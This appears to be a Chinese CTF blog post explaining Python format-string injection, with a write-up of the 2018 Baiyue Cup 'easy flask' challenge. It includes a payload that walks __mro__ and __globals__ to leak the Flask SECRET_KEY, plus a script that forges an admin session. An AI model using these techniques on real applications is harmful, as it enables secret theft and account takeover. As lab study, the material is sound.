Xi4or0uji's blog

python格式化字符串

字数统计: 695阅读时长: 3 min
2019/02/21 Share

简介

就是使用方法不当导致格式化字符串的时候字符串受我们的控制

python常见格式化字符串的方式

百分号形式

1
2
3
name = 'Xi4or0uji'
print 'My name is %s' %name
My name is Xi4or0uji

使用标准库中的模板字符串

1
2
3
4
5
from string import Template
name = 'Xi4or0uji'
s = Template('My name is $name')
print s.substitute(name=name)
My name is Xi4or0uji

利用format格式化字符串

直接格式化字符串
1
2
print 'My name is {}'.format('Xi4or0uji')
My name is Xi4or0uji
指定位置
1
2
3
4
print 'this is a {0}, that is a {1}'.format('cat','dog')
this is a cat, that is a dog
print 'this is a {1}, that is a {0}'.format('cat','dog')
this is a dog, that is a cat
设置参数
1
2
print 'hello {adj} {name}'.format(adj='little',name='h4ck3r')
hello little h4ck3r
百分比格式
1
2
print '{:.2%} off'.format(0.20)
20.00% off
获得数组的键值
1
2
print '{arr[2]}'.format(arr=[0,1,2,3,4,5])
2

还有很多,不举例了

一个小栗子

1
2
3
4
5
6
config = {'SECRET_KEY':'lolololol'}
class User(object):
def __init__(self,name):
self.name = name
user = User('Xi4or0uji')
print 'hello {name}'.format(name=user.__class__.__init__.__globals__)

在这里的format如果可以受我们所控,就可以通过原来的对象获得他的所有的变量,从而将敏感信息打印出来

例题

2018百越杯 easy flask

这题先去注册登录,然后可以看到有个session

解密一下出来是一个id值

登录页面发现有id这个参数,遍历一下可以看到id是5时,用户是admin
扫下泄露出来一个www.zip ,可以看到,想要拿到flag,必须是管理员

1
2
3
4
5
6
7
8
@bp_auth.route('/flag')
@login_check
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"

继续看下secret.py有个views_info函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')

user_m = user.query.filter_by(id=view_id).first()

if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')

if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"

name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"

info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)

可以看到,这里有个format函数,里面有name、email和secret_t,继续往上看,还有一个format函数,解析secret_m,secret_m就是页面edit_secret的那个参数,至此,我们就可以利用format格式化字符串漏洞获得secret-key然后session伪造登录
payload如下

1
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

最后得到secret_key为ichunqiuQAQ013,接下来就是session的伪造

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'

def set_id():
session['id'] = 5
return "ok"

if __name__ == '__main__':
app.debug = True
app.run()

然后修改session登录访问/flag就有flag

CATALOG
  1. 1. 简介
  2. 2. python常见格式化字符串的方式
    1. 2.1. 百分号形式
    2. 2.2. 使用标准库中的模板字符串
    3. 2.3. 利用format格式化字符串
      1. 2.3.1. 直接格式化字符串
      2. 2.3.2. 指定位置
      3. 2.3.3. 设置参数
      4. 2.3.4. 百分比格式
      5. 2.3.5. 获得数组的键值
  3. 3. 一个小栗子
  4. 4. 例题
    1. 4.0.1. 2018百越杯 easy flask